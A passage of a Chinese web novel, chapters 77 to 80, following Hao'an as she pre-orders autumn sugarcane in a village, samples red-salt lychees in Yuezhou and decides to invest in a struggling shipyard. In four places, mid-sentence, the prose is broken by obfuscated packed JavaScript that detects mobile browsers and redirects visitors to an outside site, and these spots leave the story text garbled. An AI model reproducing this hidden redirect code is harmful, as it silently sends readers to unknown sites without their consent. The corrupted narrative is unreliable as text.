小孩正抵着头，看不到前方的场景，好安离那还有几丈的距离，嗓子喊破天了小孩也没听见。眼看树就要倒下来，好安赶紧冲了过去。其他五人反应迅速，赶紧跟上。 就在树枝即将砸中的瞬间，其中一位壮汉飞身而起，一把拉住小孩的衣服把他狠狠往后拽了一把，顺势往后滚了几圈。 刹那间，树根拔地而起，树冠擦着二人的胳膊轰然倒地，溅起一片泥水。 小孩吓得涩涩发抖，死死拽住壮汉的衣服不敢松手。 不松手就不松手吧，壮汉抱着小孩从泥水里爬起。众人没有时间安慰，接到二人后继续顶风狂风朝荒庙里前行。 庙里空荡荡的，但不算破。墙上漏风的地方都堵起来了，甚至还有个破门和几个稻草编的小玩具。应该是以前有人在这避过雨。 合上木门，风雨声明显小了很多，小孩好像也缓过劲来松开壮汉的衣服。 “你受伤没？”好安连忙看向赵叔，就是刚刚冲出去救人的汉子。 赵叔扭了扭胳膊，道：“只擦破了点皮，其他没事。” “这天气破皮要重视。”好安立刻从挎包里拿出提前备好的干净的凉白开和伤药递了过去。 赵叔笑道：“没事，就一点点。” “不行！”好安态度坚决，必须上药。 正常情况下擦破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15395898|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮都要注意的，更何况在这台风天。积水和淤泥又多，伤口越容易接触到污染物引发感染。 赵叔可是上有老下有小，万万不能出事。 今天也怪自己太心急，应该再等一等，大不了就少去一个地方，大伙的安全才是顶顶重要的。 好安看着赵叔涂完药这才放心。 “你呢，受伤了吗？”好安拧了拧湿漉漉的衣服，转身看向坐在一边的小孩。 小孩忽然叉腰站了起来，叽里咕噜的说了老长一段。 不仅好安一句都没听懂，其他四人也没听懂，五道懵懵地目光齐刷刷转向刘猛。 “别看我，我也听不懂啊！”刘猛摆了摆双手。 好安：“你不是进村和他们说话了吗？” “是啊，但是和我说话的人都会讲官话。”刘猛解释道：“我只会樾州的方言，不会岷州的。” 小孩“哎”了一声，这句大伙都懂了。 是在叹气，好像还挺无奈的。 然后，小孩转身朝石像后走去，没一会他扔了一堆干稻草出来了。 “取暖？” “是烘衣服……” 五个汉子碍于好安还在这儿，好安碍于这儿有五个汉子，大家都不方便脱衣服，最多脱掉外面的长衫，然后离火堆远远的。 只有小孩，利落的扒掉短衫光溜着上半身，用木头挑着架在火堆旁。 谁不羡慕呢。 ———— “村长，我家阿狮不见了！”阿狮爹娘顶着狂风来到村长家。 他们一直在甘蔗地里绑竹竿，回来后家里找便了也没发现儿子的身影。 村长：“是不是在谁家玩呢？” “不是，都问过了，没有人看到阿狮。”阿狮他娘说着说着眼泪就下来了。 “这孩子是不是又跑出去玩了！”村长皱眉，连忙起身穿上鞋子，招呼家里的大人道：“赶紧去找啊！” 外面狂风肆虐，三两个大人一组，穿着蓑衣，腰间用手腕粗的麻绳相互绑着。 “阿狮——阿狮——” 村子附近能找的都找了，一根毛都没找到。 “他不会去南边玩了吧。” “今天风好大，南边还有这么多树……” “没事，阿狮从小就机灵，这么大风说不定在哪里躲着呢。”阿狮他爹说道：“现在风大雨也大外面也不安全。还是先回家吧，等风小点再……” “我不。”阿狮他娘一口拒绝：“我就阿狮这么一个儿子。要回你回去，我今天必须找到他。” 说着，阿狮他娘就要解身上的绳子。 “去去去。”阿狮他爹连忙按住媳妇的手，让其他人都回去，自己拉着他娘朝南边走去。 天灰蒙蒙的，雨还一直不停，这种天气最适合睡觉了。 众人坐在角落里有一下没一下的点着头。 只有趴在草堆上的小孩精神抖擞。忽然，他“唰”一下跳了起来，猛地打开荒庙的破门。风、雨灌入，把刚烧完的草木灰吹得满屋子都是，堪比灰毛大雪。 好安别说睡觉了，都不敢呼吸了，眼泪鼻涕全被呛出来了。 和风雨一起进来的还有两个大人的身影，好安鼻涕眼泪还没来得及擦，一顿男女混合双打在满天草木灰中隆重上演。 78. 醋肉 托阿狮的福，众人离开了荒庙，好安也换了一身干净清爽的衣裳。 “喝茶，喝茶。”阿狮他娘放下六碗姜茶，又抱来菜篓子，一边择菜，一边方言夹官话的道：“你们是路过，还是……” “不是。”好安说道：“我们是来买甘蔗的。” “甘蔗啊。”阿狮她娘愣了一下，说道：“甘蔗现在还没熟呢。” 好安：“对，我们想提前定。” “你们是糖商？买甘蔗制糖？”阿狮他娘大量了好安一眼？ “是的，婶子知道这哪能买到甘蔗吗？”好安直接问道。 阿狮他娘摇摇头，继续低头择菜，道：“来迟啦。我们村地里的甘蔗都被糖商包了。” “那其他村呢？” “一样的，不说三南县，全岷州的甘蔗估计都被没了。” “还没成熟就全没了？”好安眉毛轻轻上挑，流露出一丝惊讶，道：“那散买的也没了？” 好安记得去年自己买到了新鲜的甘蔗，还量大便宜。 阿狮他娘择去老掉的根茎，抖了抖菜叶上的水，说道：“今年没散卖的了。” 好安皱眉，捧着姜茶自言自语道：“今年怎么了？” 她原本还打算趁着甘蔗没熟在其他糖商下手前提前包上几块地。没想到这些糖商也太勤快了。 阿狮他娘抬头看了一眼好安，解释道：“糖商以前也不是这个时候来。他们大部分都在甘蔗成熟前一二十天的时候才来看看情况。 但今年不一样，自从樾州的水匪闹出了好几条船的人命，现在没有商船敢去樾州。又说什么运甘蔗走陆路花的钱多，所以他们都一窝蜂的来岷州抢甘蔗。 连巴掌大地上的甘蔗都定了。以前看不上的甘蔗苗今年也都要。说等甘蔗一熟，他们还要亲自拖车来拉。” 好安抿嘴点点头，商人消息灵通而又敏感。 甘蔗生长周期长，一般要八到十个月才能成熟。现在地里的甘蔗快有好安腰高，都是春甘蔗。春甘蔗二三月份种下，当年冬天到次年春天期间都能砍收，离现在还有大半年的时间。 可他们提前这么久就开始抢甘蔗，看来樾州水匪问题十分严重，严重到他们认为今年年末朝廷也摆平不了水匪。 “你们村种秋甘蔗吗？”好安忽然问道。 秋甘蔗七月左右种下，同样也是年末左右砍收，但时间总体比春甘蔗早。 “种。”阿狮他娘点头道：“但秋甘蔗没春甘蔗甜。” “秋甘蔗有人预订吗？” “没。秋甘蔗我们一般都是用闲置的地种一点给自家吃的。”阿狮她娘说道。 “我预定秋甘蔗行吗？”好安两眼放光道。 “啊，秋甘蔗还没种呢。”阿狮他娘强调道：“而且它没春甘蔗甜，你确定要提前定吗？” 好安：“定。” 秋甘蔗的甜度确实不如春甘蔗。它生长时间短，糖分累计不够，纤维也粗糙口感硬实。 但它也是有优点的，比如纤维粗糙、茎杆坚硬，路上不怕磕碰，不容易断裂和腐烂。 比如产量高，能比春甘蔗高出百分之三十甚至五十！ 而且采摘时间比春甘蔗早，能避开细雨绵绵的天气。 阿狮他娘见好安坚持要买，便放下手中的进屋去了。 “安安，秋甘蔗不够甜，产糖量肯定不如春甘蔗，我们买它干嘛？” “对，她不是说了樾州的甘蔗没人要吗？我们直接去樾州□□甘蔗不更好。” “她是说去樾州买甘蔗成本提高了，没说樾州甘蔗没人要。”好安小声道：“春甘蔗是更甜，但秋甘蔗更便宜啊！你们熬糖都是新手，正好秋甘蔗便宜适合给你们练手。 而且今年樾州运甘蔗的路费提高，这些钱商人可不会承担，最后都要摊在我们老百姓头上，到时候糖很可能涨价！” 好安还准备教他们黄泥水淋糖脱色法做白砂糖。这个方法的核心是用利用黄泥吸附去除糖里的杂质和色素。再具体的她只知道大概流程，但知道流程不等于会做，她在家尝试了好几回都失败了。 既然是古人的法子就交给古人去做。 刘猛想了想，点头道：“确实，岷州虽然有种甘蔗的，但肯定不如樾州多。” 好安立刻递了一个你很不错的眼神，道：“秋甘蔗做出来的糖要是真的甜度不够，我们可以卖便宜些嘛，肯定不愁卖。” 说话间，阿狮他娘出来了，道：“这个事是大事，要和村长说。” “行啊。”好安站起来，问道：“我们什么时候去找村长？” “不用去找，我让我家那口子去喊村长了。”阿狮他娘坐下继续择菜。 “现在还下雨呢。”好安说道。 外面的雨坠如帘，在地上砸下硕大的水花。 “没事，这经常下雨，我们都习惯了。只要不刮风在村里走动走动没什么危险。” 村长家应该离这很近，一盏茶的功夫就到了。 “谁，是谁要买？在哪，在哪？”村长十分激动。好安被雨挡了视线，还没看清门口的两个人哪个是村长，就听见一道年轻而又高昂的声音传来。 “在这呢。”阿狮他娘冲门口两人喊道。 村长两步三跨地走到檐下，看见好安一行人愣了一下。 好安坐在中间，也是最前面。按理说应该是头头，但她是个女子，村长不确定了，问道：“这事你能决定？” 好安点头道：“能。” “能就行。”村长脱掉蓑衣，自己找了个板凳坐下。 “你们打算买多少？” 村长果然年轻，皮肤黝黑看着像个刚毕业的就扎进地里的大学生。 “你们有多少。”好安顺势问道。 “秋甘蔗还没种呢，这不想要多少就有多少嘛！”村长露出一口白牙笑道。 好安：“？不是说闲置的空地吗？” 村长点头道：“对，到我们村闲置的地多。”他指着不远处灰蒙蒙的矮山头道：“这个、这个、还有那个都是我们村的，都闲置。你要是闲少后面还有呢。” 说完，就要带着好安参观其他几座山头。 “够了，够了。”好安连忙婉拒。 好安指了指最近看似也是最小的一个山头道：“这个能有多少亩地？” “不到十亩，这个山头太小，要不等雨停了看看它西边的那个。那个有五十多亩。”村长热情道。 “一亩地大概能产多少甘蔗？”好安问道：“十石有吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403262|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>村长：“当然有，春甘蔗都有十石，秋甘蔗可比春甘蔗能长。” 好安在心里默默换算了一下，甘蔗和红糖的比例大概在十比一。一石甘蔗能做红糖十斤到十二斤。 一亩地按照十石算就是一百斤到一百二十斤。十亩地就是一千斤到一千二百斤。 去掉损耗和新手成本，十亩地至少能有五六百斤的红糖。 自己用的再加上卖的，还要考虑到甘蔗的生长周期，十亩地好像确实不够，但五十亩又有点多，还是二十亩比较适合，而且她后面还要去樾州呢。 “那些价钱怎么算，十石的甘蔗和一百石的甘蔗价格之间有差别吗？” “当然有，十石这数，一百石这个数。”村长一手比划了一个数字。 两人一直来来回回拉扯到太阳落山，雨也没停，但价格定了。 现在回岷州肯定太迟了，好安六人便准备在村里歇下。 多出六个人的晚饭，份量可不少。 “忙的过来吗？”好安问道。 阿狮家只有阿狮和他爹娘，在村里算是人非常少的人家。 “忙的过来。”阿狮他娘笑道：“每年都会有糖商住下来，习惯了。你们先坐。” 说完她朝外说了几句方言，然后阿狮就进来拉住好安的手。 好安也听不懂他叽里咕噜的说什么，但还是跟着阿狮走了出来。 走到正堂，他拉了个板凳递给好安，见好安坐下后，不知从哪拿来几跟艾草条放在好安身边点着，然后他又回屋哪了几个草编和木头荀的玩具塞到好安手里。 “他送给你玩呢。” “很熟练啊，看来没少做。” 其他人笑道。 赵叔自己也有孩子，和阿狮年纪差不多，虽然语言不通，但还是忍不住逗他。 忽然间，正堂外飘来一股肉香，这个肉香闻着酸酸的，让人忍不住的流口水。 阿狮第一个反应过来，连忙跑进厨房，紧接着厨房传来训斥声。阿狮便和他爹一起端着几道菜朝好安他们走来。 “吃饭，吃饭。”阿狮他爹官话明显不如阿狮她娘，舌头像是捋不直一样，模糊不清。 好安尝试沟通，无果，只能和阿狮一样老老实实的坐在桌子前等待投喂。 不一会，便上来用盆装的四道菜。个个量足，不知道的还以为自己在东北呢。 好安看着菜忍不住动了动鼻子，之前的味道还没有散去，反而越发浓郁，好像酸味之中还有一丝丝甜味。 阿狮他爹笑着说了一句官话，好安就听懂一个字：醋。 确实是醋酸味。 “吃饭喽。”阿狮他娘端着一个盆走近，还没放下，好安就听到盆里传来噼里啪啦的冒油声。 肯定是炸肉！ 盆底落桌，金黄色的肉条上还滋滋的冒着油花，油亮亮的。 “尝尝，这是我最拿手的菜，醋肉。”阿狮他娘笑道。 好安简单的客气了一下，便不客气了，第一筷子直冲醋肉。 一入口，外皮便发出清脆的声音，随即是肥瘦相间、肉汁四溢的五花肉，裹挟着淡淡的醋香。 醋不仅没喧宾夺主，反而激发出肉的鲜美，酸甜可口。 除了烫，其他没毛病。 79. 红盐荔枝 好安到樾州的时候也在下雨，但雨来得快去得也快。前一刻暴雨如注，后一刻太阳就露出来了。 再加上有王家提前写信引荐，所以事情敲定的很快。 好安去收蔗农今年春天刚储存的甘蔗，刘猛去和当地人学种甘蔗。 选地、整地、选种、消毒。 一个天天杵地里，一个天天不着地。 六人在樾州呆了四五天，一共收了六七石甘蔗，附近村县能收的都收了，在呆下去天上也不会掉甘蔗，好安一行人便准备回平陵。 樾州几乎是这片陆地的最南端，气候炎热潮湿，植被、吃食都和平陵大不相同。 所以回程前一天，好安专门抽了半天去当地的大街小巷逛了逛。 她花了几文钱雇了一个官话不错和好昕年纪差不多大的“小导游”。一大一小的两人朝樾州最热闹的街道走去。 “我们这果子多，秋天更多！现在荔枝成熟还便宜，你可以多买点带回去。”小导游推销道。 说到荔枝，她好久没吃过了。以前一到夏天水果店门口和超市都是各种各样的荔枝。 白糖罂、妃子笑、挂绿、桂味……一天吃一种，一星期不带重样。 “除了荔枝还有什么好吃的？最好是北边没有的。”好安怅然问道。 她以前对水果兴趣不大，甚至可以说不爱吃。尤其那些要剥皮吐籽的，麻烦死了，但今天忽然有些怀念。 可能这就是此情可待成追忆，只是当时已惘然吧。 “我不知道北边有什么啊。”小导游挠了挠头，双眼清澈说道：“我只知道现在荔枝卖得最好！” 好安拦着小导游的肩膀，笑道：“那就先去吃荔枝。” 小导游带着好安穿过两条狭窄的小巷，走到头便是一条热闹的街道。 人群熙熙攘攘，讨价还价声不绝于耳。 菜摊沿街依次排开，地上铺着一层厚厚的稻草，用来隔绝温度。上面放着各种新鲜的蔬菜，鲜嫩的青菜、圆滚滚的萝卜，然而最多的还是荔枝。 不论摊子主要卖什么，旁边都有一筐荔枝，堆得像小山一样，连枝带叶。翠绿的叶子掩映鲜红的果实，显得格外诱人。 好安随便走到一个摊子上，这个摊主正忙着剥荔枝。 她把荔枝剥皮去核扔进装满红浆桶中。 “这是什么？”好安拍了拍小导游。 “红盐荔枝。”小导游都不问，直接答道。 好安：“咸的？” “一点点咸。”小导游说道：“鲜荔枝容易坏，这样做好之后能放三四年不生虫。” “这么久！”好安问道：“红盐荔枝做好了什么样？” “红的。”小导游条件反射的答道，接着就是和摊主一顿叽里呱啦。 摊主抬头看了好安一眼，又转过头去，对在搅荔枝的小娘子说了什么，就这样摊主手里剥荔枝的动作还没停下。 小娘子转身，动作麻利的翻开身后的篓子，拿出一瓶手掌大的瓦罐打开。 里面的荔枝肉既不是新鲜的白色，也不是晒干的棕黄色，而是鲜艳的红色，和桶里红浆的颜色十分接近。 “她们说你可以尝一尝。”小导游说道。 闻言，好安便用指尖捏了一个出来，果肉早已褪去鲜荔枝的水盈，在红浆种浸出一道道红色的褶皱。好安捏了捏荔枝，果肉紧致而有光泽，应该还晒过。 “她们说这个在北边很受欢迎，每年都有很多商人来买。”小导游尽职尽责的翻译道。 好安轻轻咬了一口，舌尖先触到一丝咸气，像海上的风吹过四月的青梅园，最后停在唇齿之间。随即是陷入果肉的甘酸味道在口中化开。虽然与新鲜荔枝有所不同，但却别有一番风味。 “可以长途运输的荔枝干只有这一种吗？”好安问道。 “还有白晒荔枝和蜜煎荔枝。”小导游四下张望了一翻，没找到有摊子在做这两种，只能自己讲述道：“白晒就白晒啦。” “白晒？”好安自我理解：“就是白天放在太阳下面晒？” 小导游：“对。晒完后回潮，荔枝味很浓！” 好安：“那蜜煎荔枝呢？” 小导游想了想，说道：“荔枝肉用蜜煎。可以炖汤，药铺也收。” 三者听着都不错，价格也便宜，一罐大红盐荔枝十斤重只要一两银子。 一斤红盐荔枝要两斤荔枝肉，也就是五斤左右鲜荔枝，不算手工费和其他材料费，算下来一斤鲜荔枝才要二十文。 要知道和荔枝挂钩的东西在平陵都是天价。鲜荔枝都是按颗卖，一颗就数十文甚至上百文。 原产地就是便宜！ 来都来了，保质期长还不占地方，怎么能不买呢。 好安每种都要了一百斤，左右不过是多辆车的事。 量多，摊主要回家托货，好安便买了一斤的鲜荔枝，找了个阴凉的地方盘腿而坐，一边和小导游分吃，一边等摊主。 “我不吃！”小导游扭过头去。 好安：“算我请你的。” 小导游犹豫了一会说道：“那我就吃一个。” “一个太少了，这好多呢。今天吃不完就坏了。” “吃多了上火。”说完，小导游掀开嘴唇露出红肿的牙龈。 “……那你还是少吃点吧。” ———— 等人期间，好安左手边的一户人家的侧门忽然打开，一个穿戴还算整齐的郎君被人撵了出来。 “现在谁还往樾州跑船，我劝你死了这条心吧！”说完，门便“咚”一声的关上。 “这个契书是之前说好的，你们陈家不能出尔反尔！” 那小郎君还不死心地扒在门上锤了锤，见里面没有任何动静才丧气离开。 “关门的是陈家管事，被撵的是陈家船坊的二少爷。”小导游不舍地嘬着手里的荔枝说道。 “这是被家里撵出来？”好安一颗接着一颗。 “不是，他们可不是一家人。”小导游说道：“陈家是我们这的大户，最最最最有钱了。陈家船坊就是刚好姓陈。” “那八百年前也算一家。噗。”好把籽吐到自己挖的洞里。 小导游：“这么算是，但那也是旁旁旁旁支。” 说着，站起来朝被撵出来的那位郎君甩了甩膀子：“阿卫哥！” “豆豆。”陈卫捡起地上的纸，一边朝阴凉处走来，一边说道：“你怎么不在家温习功课？” “我今天赚钱了！”豆豆兴奋地挪出位置，把好安亮了出来。 “……” 忽然的出场，好安一下还没反应过来，但还是淡定的把剥好的荔枝塞进嘴里。 “你赚什么钱？”陈卫一把豆豆拉到身后，打量着好安，一副你是不是好人还有待商榷的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409650|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “介绍、翻译。”好安解释道：“我听不懂这里的话，所以要找个会说官话的当地人。” 陈卫：“那你找大人啊，找小孩干什么？” 好安：“？” 她不会被当成人贩子了吧。 “小孩便宜。”好安如实道。 陈万眼神陡然锐了起来。 “这个姐姐是好人！”豆豆拉着陈卫的手，开心道：“她请我吃荔枝，还买了好多林婆婆家的荔枝煎。” “请你吃东西就是好人了吗？”陈卫严肃道：“你忘了阿穗就是吃了好看姐姐的糖就被人贩子抓走了吗？” “我不是人贩子。”好安说道。 陈卫冷冷道：“有人贩子会说自己不是人贩子吗？” 好安：“……” 看在说她好看的份上，好安懒得解释，不如吃荔枝。 “人贩子听懂我们说话，她听不懂。”豆豆帮好安解释道。 陈卫：“你确定每个人贩子都听懂吗？万一她是装的呢？” 好安：“……” 懒得解释，继续吃荔枝。 好像有点道理，但好像又不对？ 豆豆抠了抠耳朵，忽然想起了什么，说道：“她不是坏人，她是黄阿公的客人！” “黄阿公？”陈卫脸色骤变，立刻阴转晴道：“你就是黄阿公前几天说的王家贵客？” 这变脸比翻书还快。 好安：“应该是，但我不姓王，姓好。” “好人好人，误会误会。”陈万眼含热情，笑容亲切。 好安怀疑要不是自己是个女的，他都恨不得抱上来。 陈卫：“坐，快请坐。” 这下担心的是好安了。 说着，陈卫在袖口掏了掏，拿出一张折起来的纸，道：“不知道您对船感不感兴趣。” 原来是想拉投资。 好安干脆利落道：“没钱。” 倒不是因为之前被误会，她身上还背着一个糖厂，是真没钱！ “没钱没关系，那也可以多了解一下。”陈万把豆豆扯到一边，殷勤的在好安身边坐下。 “我家的船坊到我已经三代了，在樾州是远近皆知！船坊里的工匠最少都有一二十年的经验……” “没年轻人啊！” 好安：我不是杠精，但我这嘴怎么就忍不住呢。 “最少都十几年，那等这批人老了之后不就后继无人了吗？没有年轻的力量怎么可持续发展呢？” 陈卫顿了一下，连忙拿纸记下：“可持续，发展这个词妙啊，记下来！” 好安：“还有水匪这么严重，谁敢投资你。” 陈卫：“投，资。这次词有意思，记下来！” 好安：“……” 陈卫记好后，才回好安的话：“水匪朝廷肯定自有安排！我们要相信圣上！” 无法反驳，但感觉不太聪明。 好安无声的挪了挪位置，眉头紧缩的看向对面的豆豆。 豆豆口型道：“他阿公也这样。” 好安：“他爹他哥呢？” “水匪。”豆豆做了一个抹脖子的动作。 虽说死者为大，但这三代传的很有水份啊。 “刚刚我们说到哪了？”陈万收了纸笔，自言自语，自说自恰道：“我们陈记船坊现在有……” 好安：卖荔枝的林婆婆怎么还不来！ 80. 黄金玉米烙 千呼万唤始出来的摊主终于到时，好安才发现自己失算了。白晒荔枝晒得居然不是纯纯的荔枝肉，而是整个带壳的荔枝！ 一辆车不够了。 但买都买了，又咋办呢，总不能扔了，带着呗。 临行前黄阿公又送了很多当地的特产，有药材、有酒，有水果。 酒是之前海运畅行时，樾州聚集了大量外国人，他们用甘蔗酿酒，放在橡木桶里陈化。色如琥珀，口感清新醇厚，又带有独特的甘蔗香。 水果居然有菠萝蜜和香蕉！ 菠萝蜜就叫菠萝蜜，香蕉当地叫甘焦。菠萝蜜是舶来物，最开始音译为“频那挲”，后来才改名为菠萝蜜已经在本土种植一百年多了，一个有好安三个头大。 香蕉种植时间更久，好安认知里香焦应该是软糯香甜的，但现在的香蕉味似葡萄，口感甜脆，还有种子。 可惜香蕉放不久，菠萝蜜倒是没问题。果肉味甜，吃法多样。果核加盐水煮就能开吃，粉粉糯糯香香，和板栗菱角差不多。就连果肉之间的丝都可凉拌可炒菜，简直浑身是宝。 从岷州坐船回平陵就不是客船了，有货物只能坐商船。商船主要以运货为主，居住空间十分有限。 底层储存货物，中间是船工休息区和大通铺。最上面才是船长的房间和几个单间。 这艘船容量巨大，好安的货只占了边边角角，可大小算个商队，船长便给她匀了一个小单间，其他人只能去挤大通铺了。 单间床铺齐全，但不能在房间单独烧水做饭，用水都要去中间层的锅炉房打水。要是想洗把澡还得和锅炉房提前说。 回程不顺风，好安在海上摇摇晃晃十几天才回到平陵，此时已经六月下旬，这一趟前前后后花了一个多月，好在收获不错。 一下船，好安就看见了在码头等着的谢宗林。 “你怎么知道我们今天到！”好安面露惊喜。 “我按照你之前写信的时间估摸你们就这几天到。”谢宗林顺手接过好安肩膀上的包裹：“还顺利吗？” “顺利！”好安笑道，讲了一些路上遇到的趣事，二人便一起走到卸货的地方：“甘蔗今天卸下来就拖回村里，今年一年的糖不用愁了。” “赵叔他们不在平陵歇息一晚吗？”谢宗林有些意外。 现在是辰时，等卸完货少说也要巳时，带着这么多甘蔗往好家村赶说不定下半夜才能到。 “反正都得赶夜路，赵叔他们觉得早赶晚赶都得赶，不如早赶早回家。而且车上还有甘蔗苗，还是尽早种下去放心。” 这时，赵叔拎了两条腌过的海鱼走来，看样子是准备和甘蔗一起带回去。 “专门买这个？”好安愣住：“在船上十几天顿顿咸鱼没吃够？” 赵叔笑道：“当然吃够了，但这两条不一样，是用酒腌过的，我带回去给媳妇尝尝。” 好安凑过去闻了闻，确实酒香醇厚。她转头看向谢宗林，问道：“你吃不吃？” 谢宗林微愣，随即点头道：“吃。” 赵叔挑眉，目光意味深长的在好安和谢宗林之间扫了扫，说道：“那船工就在前面买水呢，按条卖。你去了就说是我介绍的一定要让他挑和我这个块头差不多大的！” 好安刚和船工说完话，忽然瞅见一个熟悉的身影。 “你马上和他去拿鱼，我去找个人。” “怎么了？”谢宗林问道。 好安撸起袖子，气鼓鼓说道：“我们去的船根本不到樾州，那卖鱼的陈二瞎多收我船票钱！” 这账必须算。 回来后的几天，好安变得更加忙碌，三天两头不着家，好记还是谢宗林在搭理。 好家村榨甘蔗汁的架子设计好了，离搭好能用还要两三天，好安便忙里偷闲回了趟平陵。 谢宗林特意做了好安喜欢吃的黄金玉米烙。 好安：“现在就有嫩玉米？” “昨天还没看到，今早刚好有一个婶子挑了一箩筐，我记得你爱吃就全买了。”谢宗林夹起一块玉米烙，满眼期待的递给好安。 “看来我回来的真是时候！”好安美滋滋道。 金黄的玉米颗颗分明，紧密的排在一起，形成一个圆。勾连他们的糯米粉也被炸成金黄色，和糖粉混在一起衬得玉米烙晶莹剔透。 一口咬下去又脆又糯。 “脆而不碎，能出师了！”好安竖了个大拇指。 谢宗林笑了笑，道：“你喜欢就行。” 玉米烙要趁热吃口感才好，好安饭还没吃就连吃了三块。 “还有其他菜呢。”谢宗林见好安吃玉米烙就要吃饱了，赶紧把其他菜也端了上来。 水煮肉片、剁椒鱼头、糖醋排骨、干煸四季豆。 都是好安爱吃的，也是他最擅长的。 一个做、一个品，二人吃得正起劲时，后院的门响了：“开门呐，是我。” 这声音一听，谢宗林默默地闭了闭眼。 王宁不论是在万和县还是在平陵一如既往的掐着饭点来。 “你回来啦。”王宁见开门的是好安略微吃惊，“呦，两人小酒喝着，小菜吃着。有我一份吗？” “当然有啊，不就多双碗筷的事。”好安说道：“看在这次你介绍的黄阿公的份上不收你钱，仅此一次。” 王宁：“就值一次啊，还三个辣的菜，我就能吃俩！” “免费的还挑，用水涮涮。”好安正要起身去给王宁拿碗筷，却被谢宗林抢先一步。 超大一碗的水和摞成山的米饭，赶紧吃完，赶紧走。 但王宁明显没明白谢宗林的用意，把米饭放到一边，一副要慢慢吃菜的样子。 “你来平陵干嘛？”好安问道。 “我也刚回来，路过。”王宁“斯哈”道。 好安：“你还在收辣椒？” “对。”王宁点头道：“之前收了一船以为够了，没想到北边、西边、西北边，反正就是除了南边哪哪都好卖！地里还没摘的也已经预订出去了，夏天播种的时候我二叔又清了一个庄子的地，三十几亩全种辣椒！” 好安：“看来今年分红的时候我要变富婆了。” “对，不过你这个年纪不应该叫婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413671|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，应该叫富小娘子。”王宁这才几杯酒水下肚说话已经舌头打结了。 “这酒我怎么喝着晕晕的！”王宁眨了眨无法聚焦的眼睛，说道：“我先趴一会等会起来吃。” “晕吗？”好安闻了闻酒杯，这甘蔗酿的酒发酵后经过了蒸馏，但最多也就二十几度。 王宁酒量这么差吗？ “可能不习惯吧。”谢宗林拿过专门给王宁斟酒的酒壶，心虚道。 两种酒兑在一起，谁喝不晕。 “把他扛屋里去吧。”好安说道：“这么大一个人趴这有点碍事。” “事！” 谢宗林还没起身，王宁“噌”一下弹了起来。 “我有事！” 说着，王宁把手伸进怀里掏了半天掏出一封信，一边把拿信的那只手杵到谢宗林眼前，一边看向好安道：“嘻嘻。我哥的信，但不是给你。” 谢宗林：“我的？” “对啊，专门这给你的。”王宁笑了笑，然后毫无预兆地栽了下去。 “你俩关系什么时候这么好了？都发展成笔友了？”好安震惊。 这个年代过完元宵才算过完年，她没记错的话王宣上次来好记躲雨之后没两天就被召回京了，年都没过完。他和谢宗林总共都没说过几句话吧。 谢宗林也一脸懵，他和王宣绝对算不上是能写信的关系。 “快打开看看！”好安说道。 二人没一个留意王宁脑门上粘了鱼刺。 好安见谢宗林脸色逐渐严肃，连忙问道：“写的什么。” “哦。”谢宗林收起信，故作轻松道：“他说朝廷已经决定要派兵剿匪了。” “樾州的水匪？！”好安眉毛一挑。 谢宗林：“对，但有些事还没定所以现在没对外公布，不过估计也快了。” 剿水匪，好安眼珠转了转，连忙放下筷子饭也顾不上吃了，回屋拿出一个盒子。 碗碟茶盏都被推到一边，盒子放C位。 然后，好安开始数钱。 “这是要干什么？”谢宗林不解。 好安低头道：“我在樾州认识了一个造船的。 一张、两张、三张…… 他们船坊正缺钱， 十四、十五、十六…… 我要入股！” 大半年下来，好安也攒了不少钱，一半都是辣椒作坊的分红。 “这不是准备买铺子的钱吗？”谢宗林说道。 “铺子什么时候都能买。但这个机会错过就不在。”好安掏出笔，一边写信，一边说道：“他那个船坊实力和口碑都不错，只不过是因为水匪的问题丟货赔了不少钱，后面又没有新单子补上，钱周转不开。要是等剿匪的消息传过去肯定有很多人想投。我现在就是要利用这个信息差，赶紧入股。” 银票已经被分成两摞，一摞多，一摞少。显而易见多的是要花出去的。 “后面糖坊还有花钱的地方怎么办。”谢宗林问道。 